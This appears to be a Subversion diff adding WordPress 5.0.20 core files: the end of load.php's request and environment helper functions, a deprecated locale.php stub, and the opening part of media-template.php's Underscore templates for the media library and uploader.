+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin( 'network' );
+	elseif ( defined( 'WP_NETWORK_ADMIN' ) )
+		return WP_NETWORK_ADMIN;
+
+	return false;
+}
+
+/**
+ * Whether the current request is for a user admin screen.
+ *
+ * e.g. `/wp-admin/user/`
+ *
+ * Does not inform on whether the user is an admin! Use capability
+ * checks to tell if the user should be accessing a section or not
+ * current_user_can().
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Screen $current_screen
+ *
+ * @return bool True if inside WordPress user administration pages.
+ */
+function is_user_admin() {
+	if ( isset( $GLOBALS['current_screen'] ) )
+		return $GLOBALS['current_screen']->in_admin( 'user' );
+	elseif ( defined( 'WP_USER_ADMIN' ) )
+		return WP_USER_ADMIN;
+
+	return false;
+}
+
+/**
+ * If Multisite is enabled.
+ *
+ * @since 3.0.0
+ *
+ * @return bool True if Multisite is enabled, false otherwise.
+ */
+function is_multisite() {
+	if ( defined( 'MULTISITE' ) )
+		return MULTISITE;
+
+	if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Retrieve the current site ID.
+ *
+ * @since 3.1.0
+ *
+ * @global int $blog_id
+ *
+ * @return int Site ID.
+ */
+function get_current_blog_id() {
+	global $blog_id;
+	return absint($blog_id);
+}
+
+/**
+ * Retrieves the current network ID.
+ *
+ * @since 4.6.0
+ *
+ * @return int The ID of the current network.
+ */
+function get_current_network_id() {
+	if ( ! is_multisite() ) {
+		return 1;
+	}
+
+	$current_network = get_network();
+
+	if ( ! isset( $current_network->id ) ) {
+		return get_main_network_id();
+	}
+
+	return absint( $current_network->id );
+}
+
+/**
+ * Attempt an early load of translations.
+ *
+ * Used for errors encountered during the initial loading process, before
+ * the locale has been properly detected and loaded.
+ *
+ * Designed for unusual load sequences (like setup-config.php) or for when
+ * the script will then terminate with an error, otherwise there is a risk
+ * that a file can be double-included.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @global WP_Locale $wp_locale The WordPress date and time locale object.
+ *
+ * @staticvar bool $loaded
+ */
+function wp_load_translations_early() {
+	global $wp_locale;
+
+	static $loaded = false;
+	if ( $loaded )
+		return;
+	$loaded = true;
+
+	if ( function_exists( 'did_action' ) && did_action( 'init' ) )
+		return;
+
+	// We need $wp_local_package
+	require ABSPATH . WPINC . '/version.php';
+
+	// Translation and localization
+	require_once ABSPATH . WPINC . '/pomo/mo.php';
+	require_once ABSPATH . WPINC . '/l10n.php';
+	require_once ABSPATH . WPINC . '/class-wp-locale.php';
+	require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php';
+
+	// General libraries
+	require_once ABSPATH . WPINC . '/plugin.php';
+
+	$locales = $locations = array();
+
+	while ( true ) {
+		if ( defined( 'WPLANG' ) ) {
+			if ( '' == WPLANG )
+				break;
+			$locales[] = WPLANG;
+		}
+
+		if ( isset( $wp_local_package ) )
+			$locales[] = $wp_local_package;
+
+		if ( ! $locales )
+			break;
+
+		if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) )
+			$locations[] = WP_LANG_DIR;
+
+		if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) )
+			$locations[] = WP_CONTENT_DIR . '/languages';
+
+		if ( @is_dir( ABSPATH . 'wp-content/languages' ) )
+			$locations[] = ABSPATH . 'wp-content/languages';
+
+		if ( @is_dir( ABSPATH . WPINC . '/languages' ) )
+			$locations[] = ABSPATH . WPINC . '/languages';
+
+		if ( ! $locations )
+			break;
+
+		$locations = array_unique( $locations );
+
+		foreach ( $locales as $locale ) {
+			foreach ( $locations as $location ) {
+				if ( file_exists( $location . '/' . $locale . '.mo' ) ) {
+					load_textdomain( 'default', $location . '/' . $locale . '.mo' );
+					if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) )
+						load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' );
+					break 2;
+				}
+			}
+		}
+
+		break;
+	}
+
+	$wp_locale = new WP_Locale();
+}
+
+/**
+ * Check or set whether WordPress is in "installation" mode.
+ *
+ * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`.
+ *
+ * @since 4.4.0
+ *
+ * @staticvar bool $installing
+ *
+ * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off.
+ *                            Omit this parameter if you only want to fetch the current status.
+ * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will
+ *              report whether WP was in installing mode prior to the change to `$is_installing`.
+ */
+function wp_installing( $is_installing = null ) {
+	static $installing = null;
+
+	// Support for the `WP_INSTALLING` constant, defined before WP is loaded.
+	if ( is_null( $installing ) ) {
+		$installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING;
+	}
+
+	if ( ! is_null( $is_installing ) ) {
+		$old_installing = $installing;
+		$installing = $is_installing;
+		return (bool) $old_installing;
+	}
+
+	return (bool) $installing;
+}
+
+/**
+ * Determines if SSL is used.
+ *
+ * @since 2.6.0
+ * @since 4.6.0 Moved from functions.php to load.php.
+ *
+ * @return bool True if SSL, otherwise false.
+ */
+function is_ssl() {
+	if ( isset( $_SERVER['HTTPS'] ) ) {
+		if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) {
+			return true;
+		}
+
+		if ( '1' == $_SERVER['HTTPS'] ) {
+			return true;
+		}
+	} elseif ( isset($_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Converts a shorthand byte value to an integer byte value.
+ *
+ * @since 2.3.0
+ * @since 4.6.0 Moved from media.php to load.php.
+ *
+ * @link https://secure.php.net/manual/en/function.ini-get.php
+ * @link https://secure.php.net/manual/en/faq.using.php#faq.using.shorthandbytes
+ *
+ * @param string $value A (PHP ini) byte value, either shorthand or ordinary.
+ * @return int An integer byte value.
+ */
+function wp_convert_hr_to_bytes( $value ) {
+	$value = strtolower( trim( $value ) );
+	$bytes = (int) $value;
+
+	if ( false !== strpos( $value, 'g' ) ) {
+		$bytes *= GB_IN_BYTES;
+	} elseif ( false !== strpos( $value, 'm' ) ) {
+		$bytes *= MB_IN_BYTES;
+	} elseif ( false !== strpos( $value, 'k' ) ) {
+		$bytes *= KB_IN_BYTES;
+	}
+
+	// Deal with large (float) values which run into the maximum integer size.
+	return min( $bytes, PHP_INT_MAX );
+}
+
+/**
+ * Determines whether a PHP ini value is changeable at runtime.
+ *
+ * @since 4.6.0
+ *
+ * @staticvar array $ini_all
+ *
+ * @link https://secure.php.net/manual/en/function.ini-get-all.php
+ *
+ * @param string $setting The name of the ini setting to check.
+ * @return bool True if the value is changeable at runtime. False otherwise.
+ */
+function wp_is_ini_value_changeable( $setting ) {
+	static $ini_all;
+
+	if ( ! isset( $ini_all ) ) {
+		$ini_all = false;
+		// Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes".
+		if ( function_exists( 'ini_get_all' ) ) {
+			$ini_all = ini_get_all();
+		}
+ 	}
+
+	// Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17.
+	if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) {
+		return true;
+	}
+
+	// If we were unable to retrieve the details, fail gracefully to assume it's changeable.
+	if ( ! is_array( $ini_all ) ) {
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Determines whether the current request is a WordPress Ajax request.
+ *
+ * @since 4.7.0
+ *
+ * @return bool True if it's a WordPress Ajax request, false otherwise.
+ */
+function wp_doing_ajax() {
+	/**
+	 * Filters whether the current request is a WordPress Ajax request.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request.
+	 */
+	return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX );
+}
+
+/**
+ * Determines whether the current request is a WordPress cron request.
+ *
+ * @since 4.8.0
+ *
+ * @return bool True if it's a WordPress cron request, false otherwise.
+ */
+function wp_doing_cron() {
+	/**
+	 * Filters whether the current request is a WordPress cron request.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param bool $wp_doing_cron Whether the current request is a WordPress cron request.
+	 */
+	return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON );
+}
+
+/**
+ * Check whether variable is a WordPress Error.
+ *
+ * Returns true if $thing is an object of the WP_Error class.
+ *
+ * @since 2.1.0
+ *
+ * @param mixed $thing Check if unknown variable is a WP_Error object.
+ * @return bool True, if WP_Error. False, if not WP_Error.
+ */
+function is_wp_error( $thing ) {
+	return ( $thing instanceof WP_Error );
+}
+
+/**
+ * Determines whether file modifications are allowed.
+ *
+ * @since 4.8.0
+ *
+ * @param string $context The usage context.
+ * @return bool True if file modification is allowed, false otherwise.
+ */
+function wp_is_file_mod_allowed( $context ) {
+	/**
+	 * Filters whether file modifications are allowed.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param bool   $file_mod_allowed Whether file modifications are allowed.
+	 * @param string $context          The usage context.
+	 */
+	return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context );
+}
+
+/**
+ * Start scraping edited file errors.
+ *
+ * @since 4.9.0
+ */
+function wp_start_scraping_edited_file_errors() {
+	if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) {
+		return;
+	}
+	$key = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 );
+	$nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] );
+
+	if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) {
+		echo "###### wp_scraping_result_start:$key ######";
+		echo wp_json_encode( array(
+			'code' => 'scrape_nonce_failure',
+			'message' => __( 'Scrape nonce check failed. Please try again.' ),
+		) );
+		echo "###### wp_scraping_result_end:$key ######";
+		die();
+	}
+	register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key );
+}
+
+/**
+ * Finalize scraping for edited file errors.
+ *
+ * @since 4.9.0
+ *
+ * @param string $scrape_key Scrape key.
+ */
+function wp_finalize_scraping_edited_file_errors( $scrape_key ) {
+	$error = error_get_last();
+	echo "\n###### wp_scraping_result_start:$scrape_key ######\n";
+	if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) {
+		$error = str_replace( ABSPATH, '', $error );
+		echo wp_json_encode( $error );
+	} else {
+		echo wp_json_encode( true );
+	}
+	echo "\n###### wp_scraping_result_end:$scrape_key ######\n";
+}
+
+/**
+ * Checks whether current request is a JSON request, or is expecting a JSON response.
+ *
+ * @since 5.0.0
+ *
+ * @return bool True if Accepts or Content-Type headers contain application/json, false otherwise.
+ */
+function wp_is_json_request() {
+
+	if ( isset( $_SERVER['HTTP_ACCEPT'] ) && false !== strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) ) {
+		return true;
+	}
+
+	if ( isset( $_SERVER['CONTENT_TYPE'] ) && 'application/json' === $_SERVER['CONTENT_TYPE'] ) {
+		return true;
+	}
+
+	return false;
+
+}
Index: /tags/5.0.20/src/wp-includes/locale.php
===================================================================
--- /tags/5.0.20/src/wp-includes/locale.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/locale.php	(revision 56912)
@@ -0,0 +1,10 @@
+<?php
+/**
+ * Locale API
+ *
+ * @package WordPress
+ * @subpackage i18n
+ * @since 1.2.0
+ */
+
+_deprecated_file( basename( __FILE__ ), '4.7.0' );
Index: /tags/5.0.20/src/wp-includes/media-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/media-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/media-template.php	(revision 56912)
@@ -0,0 +1,1271 @@
+<?php
+/**
+ * WordPress media templates.
+ *
+ * @package WordPress
+ * @subpackage Media
+ * @since 3.5.0
+ */
+
+/**
+ * Output the markup for a audio tag to be used in an Underscore template
+ * when data.model is passed.
+ *
+ * @since 3.9.0
+ */
+function wp_underscore_audio_template() {
+	$audio_types = wp_get_audio_extensions();
+?>
+<audio style="visibility: hidden"
+	controls
+	class="wp-audio-shortcode"
+	width="{{ _.isUndefined( data.model.width ) ? 400 : data.model.width }}"
+	preload="{{ _.isUndefined( data.model.preload ) ? 'none' : data.model.preload }}"
+	<#
+	<?php foreach ( array( 'autoplay', 'loop' ) as $attr ):
+	?>if ( ! _.isUndefined( data.model.<?php echo $attr ?> ) && data.model.<?php echo $attr ?> ) {
+		#> <?php echo $attr ?><#
+	}
+	<?php endforeach ?>#>
+>
+	<# if ( ! _.isEmpty( data.model.src ) ) { #>
+	<source src="{{ data.model.src }}" type="{{ wp.media.view.settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
+	<# } #>
+
+	<?php foreach ( $audio_types as $type ):
+	?><# if ( ! _.isEmpty( data.model.<?php echo $type ?> ) ) { #>
+	<source src="{{ data.model.<?php echo $type ?> }}" type="{{ wp.media.view.settings.embedMimes[ '<?php echo $type ?>' ] }}" />
+	<# } #>
+	<?php endforeach;
+?></audio>
+<?php
+}
+
+/**
+ * Output the markup for a video tag to be used in an Underscore template
+ * when data.model is passed.
+ *
+ * @since 3.9.0
+ */
+function wp_underscore_video_template() {
+	$video_types = wp_get_video_extensions();
+?>
+<#  var w_rule = '', classes = [],
+		w, h, settings = wp.media.view.settings,
+		isYouTube = isVimeo = false;
+
+	if ( ! _.isEmpty( data.model.src ) ) {
+		isYouTube = data.model.src.match(/youtube|youtu\.be/);
+		isVimeo = -1 !== data.model.src.indexOf('vimeo');
+	}
+
+	if ( settings.contentWidth && data.model.width >= settings.contentWidth ) {
+		w = settings.contentWidth;
+	} else {
+		w = data.model.width;
+	}
+
+	if ( w !== data.model.width ) {
+		h = Math.ceil( ( data.model.height * w ) / data.model.width );
+	} else {
+		h = data.model.height;
+	}
+
+	if ( w ) {
+		w_rule = 'width: ' + w + 'px; ';
+	}
+
+	if ( isYouTube ) {
+		classes.push( 'youtube-video' );
+	}
+
+	if ( isVimeo ) {
+		classes.push( 'vimeo-video' );
+	}
+
+#>
+<div style="{{ w_rule }}" class="wp-video">
+<video controls
+	class="wp-video-shortcode {{ classes.join( ' ' ) }}"
+	<# if ( w ) { #>width="{{ w }}"<# } #>
+	<# if ( h ) { #>height="{{ h }}"<# } #>
+	<?php
+	$props = array( 'poster' => '', 'preload' => 'metadata' );
+	foreach ( $props as $key => $value ):
+		if ( empty( $value ) ) {
+		?><#
+		if ( ! _.isUndefined( data.model.<?php echo $key ?> ) && data.model.<?php echo $key ?> ) {
+			#> <?php echo $key ?>="{{ data.model.<?php echo $key ?> }}"<#
+		} #>
+		<?php } else {
+			echo $key ?>="{{ _.isUndefined( data.model.<?php echo $key ?> ) ? '<?php echo $value ?>' : data.model.<?php echo $key ?> }}"<?php
+		}
+	endforeach;
+	?><#
+	<?php foreach ( array( 'autoplay', 'loop' ) as $attr ):
+	?> if ( ! _.isUndefined( data.model.<?php echo $attr; ?> ) && data.model.<?php echo $attr; ?> ) {
+		#> <?php echo $attr; ?><#
+	}
+	<?php endforeach ?>#>
+>
+	<# if ( ! _.isEmpty( data.model.src ) ) {
+		if ( isYouTube ) { #>
+		<source src="{{ data.model.src }}" type="video/youtube" />
+		<# } else if ( isVimeo ) { #>
+		<source src="{{ data.model.src }}" type="video/vimeo" />
+		<# } else { #>
+		<source src="{{ data.model.src }}" type="{{ settings.embedMimes[ data.model.src.split('.').pop() ] }}" />
+		<# }
+	} #>
+
+	<?php foreach ( $video_types as $type ):
+	?><# if ( data.model.<?php echo $type ?> ) { #>
+	<source src="{{ data.model.<?php echo $type ?> }}" type="{{ settings.embedMimes[ '<?php echo $type ?>' ] }}" />
+	<# } #>
+	<?php endforeach; ?>
+	{{{ data.model.content }}}
+</video>
+</div>
+<?php
+}
+
+/**
+ * Prints the templates used in the media manager.
+ *
+ * @since 3.5.0
+ *
+ * @global bool $is_IE
+ */
+function wp_print_media_templates() {
+	global $is_IE;
+	$class = 'media-modal wp-core-ui';
+	if ( $is_IE && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 7') !== false )
+		$class .= ' ie7';
+	?>
+	<!--[if lte IE 8]>
+	<style>
+		.attachment:focus {
+			outline: #1e8cbe solid;
+		}
+		.selected.attachment {
+			outline: #1e8cbe solid;
+		}
+	</style>
+	<![endif]-->
+	<script type="text/html" id="tmpl-media-frame">
+		<div class="media-frame-menu"></div>
+		<div class="media-frame-title"></div>
+		<div class="media-frame-router"></div>
+		<div class="media-frame-content"></div>
+		<div class="media-frame-toolbar"></div>
+		<div class="media-frame-uploader"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-media-modal">
+		<div tabindex="0" class="<?php echo $class; ?>">
+			<button type="button" class="media-modal-close"><span class="media-modal-icon"><span class="screen-reader-text"><?php _e( 'Close media panel' ); ?></span></span></button>
+			<div class="media-modal-content"></div>
+		</div>
+		<div class="media-modal-backdrop"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-window">
+		<div class="uploader-window-content">
+			<h1><?php _e( 'Drop files to upload' ); ?></h1>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-editor">
+		<div class="uploader-editor-content">
+			<div class="uploader-editor-title"><?php _e( 'Drop files to upload' ); ?></div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-inline">
+		<# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #>
+		<# if ( data.canClose ) { #>
+		<button class="close dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Close uploader' ); ?></span></button>
+		<# } #>
+		<div class="uploader-inline-content {{ messageClass }}">
+		<# if ( data.message ) { #>
+			<h2 class="upload-message">{{ data.message }}</h2>
+		<# } #>
+		<?php if ( ! _device_can_upload() ) : ?>
+			<h2 class="upload-instructions"><?php printf( __( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ), 'https://apps.wordpress.org/' ); ?></h2>
+		<?php elseif ( is_multisite() && ! is_upload_space_available() ) : ?>
+			<h2 class="upload-instructions"><?php _e( 'Upload Limit Exceeded' ); ?></h2>
+			<?php
+			/** This action is documented in wp-admin/includes/media.php */
+			do_action( 'upload_ui_over_quota' ); ?>
+
+		<?php else : ?>
+			<div class="upload-ui">
+				<h2 class="upload-instructions drop-instructions"><?php _e( 'Drop files anywhere to upload' ); ?></h2>
+				<p class="upload-instructions drop-instructions"><?php _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
+				<button type="button" class="browser button button-hero"><?php _e( 'Select Files' ); ?></button>
+			</div>
+
+			<div class="upload-inline-status"></div>
+
+			<div class="post-upload-ui">
+				<?php
+				/** This action is documented in wp-admin/includes/media.php */
+				do_action( 'pre-upload-ui' );
+				/** This action is documented in wp-admin/includes/media.php */
+				do_action( 'pre-plupload-upload-ui' );
+
+				if ( 10 === remove_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ) ) {
+					/** This action is documented in wp-admin/includes/media.php */
+					do_action( 'post-plupload-upload-ui' );
+					add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );
+				} else {
+					/** This action is documented in wp-admin/includes/media.php */
+					do_action( 'post-plupload-upload-ui' );
+				}
+
+				$max_upload_size = wp_max_upload_size();
+				if ( ! $max_upload_size ) {
+					$max_upload_size = 0;
+				}
+				?>
+
+				<p class="max-upload-size"><?php
+					printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) );
+				?></p>
+
+				<# if ( data.suggestedWidth && data.suggestedHeight ) { #>
+					<p class="suggested-dimensions">
+						<?php
+							/* translators: 1: suggested width number, 2: suggested height number. */
+							printf( __( 'Suggested image dimensions: %1$s by %2$s pixels.' ), '{{data.suggestedWidth}}', '{{data.suggestedHeight}}' );
+						?>
+					</p>
+				<# } #>
+
+				<?php
+				/** This action is documented in wp-admin/includes/media.php */
+				do_action( 'post-upload-ui' ); ?>
+			</div>
+		<?php endif; ?>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-media-library-view-switcher">
+		<a href="<?php echo esc_url( add_query_arg( 'mode', 'list', $_SERVER['REQUEST_URI'] ) ) ?>" class="view-list">
+			<span class="screen-reader-text"><?php _e( 'List View' ); ?></span>
+		</a>
+		<a href="<?php echo esc_url( add_query_arg( 'mode', 'grid', $_SERVER['REQUEST_URI'] ) ) ?>" class="view-grid current">
+			<span class="screen-reader-text"><?php _e( 'Grid View' ); ?></span>
+		</a>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-status">
+		<h2><?php _e( 'Uploading' ); ?></h2>
+		<button type="button" class="button-link upload-dismiss-errors"><span class="screen-reader-text"><?php _e( 'Dismiss Errors' ); ?></span></button>
+
+		<div class="media-progress-bar"><div></div></div>
+		<div class="upload-details">
+			<span class="upload-count">
+				<span class="upload-index"></span> / <span class="upload-total"></span>
+			</span>
+			<span class="upload-detail-separator">&ndash;</span>
+			<span class="upload-filename"></span>
+		</div>
+		<div class="upload-errors"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-status-error">
+		<span class="upload-error-filename">{{{ data.filename }}}</span>
+		<span class="upload-error-message">{{ data.message }}</span>
+	</script>
+
+	<script type="text/html" id="tmpl-edit-attachment-frame">
+		<div class="edit-media-header">
+			<button class="left dashicons <# if ( ! data.hasPrevious ) { #> disabled <# } #>"><span class="screen-reader-text"><?php _e( 'Edit previous media item' ); ?></span></button>
+			<button class="right dashicons <# if ( ! data.hasNext ) { #> disabled <# } #>"><span class="screen-reader-text"><?php _e( 'Edit next media item' ); ?></span></button>
+		</div>
+		<div class="media-frame-title"></div>
+		<div class="media-frame-content"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment-details-two-column">
+		<div class="attachment-media-view {{ data.orientation }}">
+			<div class="thumbnail thumbnail-{{ data.type }}">
+				<# if ( data.uploading ) { #>
+					<div class="media-progress-bar"><div></div></div>
+				<# } else if ( data.sizes && data.sizes.large ) { #>
+					<img class="details-image" src="{{ data.sizes.large.url }}" draggable="false" alt="" />
+				<# } else if ( data.sizes && data.sizes.full ) { #>
+					<img class="details-image" src="{{ data.sizes.full.url }}" draggable="false" alt="" />
+				<# } else if ( -1 === jQuery.inArray( data.type, [ 'audio', 'video' ] ) ) { #>
+					<img class="details-image icon" src="{{ data.icon }}" draggable="false" alt="" />
+				<# } #>
+
+				<# if ( 'audio' === data.type ) { #>
+				<div class="wp-media-wrapper">
+					<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
+						<source type="{{ data.mime }}" src="{{ data.url }}"/>
+					</audio>
+				</div>
+				<# } else if ( 'video' === data.type ) {
+					var w_rule = '';
+					if ( data.width ) {
+						w_rule = 'width: ' + data.width + 'px;';
+					} else if ( wp.media.view.settings.contentWidth ) {
+						w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;';
+					}
+				#>
+				<div style="{{ w_rule }}" class="wp-media-wrapper wp-video">
+					<video controls="controls" class="wp-video-shortcode" preload="metadata"
+						<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
+						<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
+						<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
+						<source type="{{ data.mime }}" src="{{ data.url }}"/>
+					</video>
+				</div>
+				<# } #>
+
+				<div class="attachment-actions">
+					<# if ( 'image' === data.type && ! data.uploading && data.sizes && data.can.save ) { #>
+					<button type="button" class="button edit-attachment"><?php _e( 'Edit Image' ); ?></button>
+					<# } else if ( 'pdf' === data.subtype && data.sizes ) { #>
+					<?php _e( 'Document Preview' ); ?>
+					<# } #>
+				</div>
+			</div>
+		</div>
+		<div class="attachment-info">
+			<span class="settings-save-status">
+				<span class="spinner"></span>
+				<span class="saved"><?php esc_html_e('Saved.'); ?></span>
+			</span>
+			<div class="details">
+				<div class="filename"><strong><?php _e( 'File name:' ); ?></strong> {{ data.filename }}</div>
+				<div class="filename"><strong><?php _e( 'File type:' ); ?></strong> {{ data.mime }}</div>
+				<div class="uploaded"><strong><?php _e( 'Uploaded on:' ); ?></strong> {{ data.dateFormatted }}</div>
+
+				<div class="file-size"><strong><?php _e( 'File size:' ); ?></strong> {{ data.filesizeHumanReadable }}</div>
+				<# if ( 'image' === data.type && ! data.uploading ) { #>
+					<# if ( data.width && data.height ) { #>
+						<div class="dimensions"><strong><?php _e( 'Dimensions:' ); ?></strong> {{ data.width }} &times; {{ data.height }}</div>
+					<# } #>
+				<# } #>
+
+				<# if ( data.fileLength ) { #>
+					<div class="file-length"><strong><?php _e( 'Length:' ); ?></strong> {{ data.fileLength }}</div>
+				<# } #>
+
+				<# if ( 'audio' === data.type && data.meta.bitrate ) { #>
+					<div class="bitrate">
+						<strong><?php _e( 'Bitrate:' ); ?></strong> {{ Math.round( data.meta.bitrate / 1000 ) }}kb/s
+						<# if ( data.meta.bitrate_mode ) { #>
+						{{ ' ' + data.meta.bitrate_mode.toUpperCase() }}
+						<# } #>
+					</div>
+				<# } #>
+
+				<div class="compat-meta">
+					<# if ( data.compat && data.compat.meta ) { #>
+						{{{ data.compat.meta }}}
+					<# } #>
+				</div>
+			</div>
+
+			<div class="settings">
+				<label class="setting" data-setting="url">
+					<span class="name"><?php _e('URL'); ?></span>
+					<input type="text" value="{{ data.url }}" readonly />
+				</label>
+				<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
+				<?php if ( post_type_supports( 'attachment', 'title' ) ) : ?>
+				<label class="setting" data-setting="title">
+					<span class="name"><?php _e('Title'); ?></span>
+					<input type="text" value="{{ data.title }}" {{ maybeReadOnly }} />
+				</label>
+				<?php endif; ?>
+				<# if ( 'audio' === data.type ) { #>
+				<?php foreach ( array(
+					'artist' => __( 'Artist' ),
+					'album' => __( 'Album' ),
+				) as $key => $label ) : ?>
+				<label class="setting" data-setting="<?php echo esc_attr( $key ) ?>">
+					<span class="name"><?php echo $label ?></span>
+					<input type="text" value="{{ data.<?php echo $key ?> || data.meta.<?php echo $key ?> || '' }}" />
+				</label>
+				<?php endforeach; ?>
+				<# } #>
+				<label class="setting" data-setting="caption">
+					<span class="name"><?php _e( 'Caption' ); ?></span>
+					<textarea {{ maybeReadOnly }}>{{ data.caption }}</textarea>
+				</label>
+				<# if ( 'image' === data.type ) { #>
+					<label class="setting" data-setting="alt">
+						<span class="name"><?php _e( 'Alt Text' ); ?></span>
+						<input type="text" value="{{ data.alt }}" {{ maybeReadOnly }} />
+					</label>
+				<# } #>
+				<label class="setting" data-setting="description">
+					<span class="name"><?php _e('Description'); ?></span>
+					<textarea {{ maybeReadOnly }}>{{ data.description }}</textarea>
+				</label>
+				<div class="setting">
+					<span class="name"><?php _e( 'Uploaded By' ); ?></span>
+					<span class="value">{{ data.authorName }}</span>
+				</div>
+				<# if ( data.uploadedToTitle ) { #>
+					<div class="setting">
+						<span class="name"><?php _e( 'Uploaded To' ); ?></span>
+						<# if ( data.uploadedToLink ) { #>
+							<span class="value"><a href="{{ data.uploadedToLink }}">{{ data.uploadedToTitle }}</a></span>
+						<# } else { #>
+							<span class="value">{{ data.uploadedToTitle }}</span>
+						<# } #>
+					</div>
+				<# } #>
+				<div class="attachment-compat"></div>
+			</div>
+
+			<div class="actions">
+				<a class="view-attachment" href="{{ data.link }}"><?php _e( 'View attachment page' ); ?></a>
+				<# if ( data.can.save ) { #> |
+					<a href="{{ data.editLink }}"><?php _e( 'Edit more details' ); ?></a>
+				<# } #>
+				<# if ( ! data.uploading && data.can.remove ) { #> |
+					<?php if ( MEDIA_TRASH ): ?>
+						<# if ( 'trash' === data.status ) { #>
+							<button type="button" class="button-link untrash-attachment"><?php _e( 'Untrash' ); ?></button>
+						<# } else { #>
+							<button type="button" class="button-link trash-attachment"><?php _ex( 'Trash', 'verb' ); ?></button>
+						<# } #>
+					<?php else: ?>
+						<button type="button" class="button-link delete-attachment"><?php _e( 'Delete Permanently' ); ?></button>
+					<?php endif; ?>
+				<# } #>
+			</div>
+
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment">
+		<div class="attachment-preview js--select-attachment type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}">
+			<div class="thumbnail">
+				<# if ( data.uploading ) { #>
+					<div class="media-progress-bar"><div style="width: {{ data.percent }}%"></div></div>
+				<# } else if ( 'image' === data.type && data.sizes ) { #>
+					<div class="centered">
+						<img src="{{ data.size.url }}" draggable="false" alt="" />
+					</div>
+				<# } else { #>
+					<div class="centered">
+						<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
+							<img src="{{ data.image.src }}" class="thumbnail" draggable="false" alt="" />
+						<# } else if ( data.sizes && data.sizes.medium ) { #>
+							<img src="{{ data.sizes.medium.url }}" class="thumbnail" draggable="false" alt="" />
+						<# } else { #>
+							<img src="{{ data.icon }}" class="icon" draggable="false" alt="" />
+						<# } #>
+					</div>
+					<div class="filename">
+						<div>{{ data.filename }}</div>
+					</div>
+				<# } #>
+			</div>
+			<# if ( data.buttons.close ) { #>
+				<button type="button" class="button-link attachment-close media-modal-icon"><span class="screen-reader-text"><?php _e( 'Remove' ); ?></span></button>
+			<# } #>
+		</div>
+		<# if ( data.buttons.check ) { #>
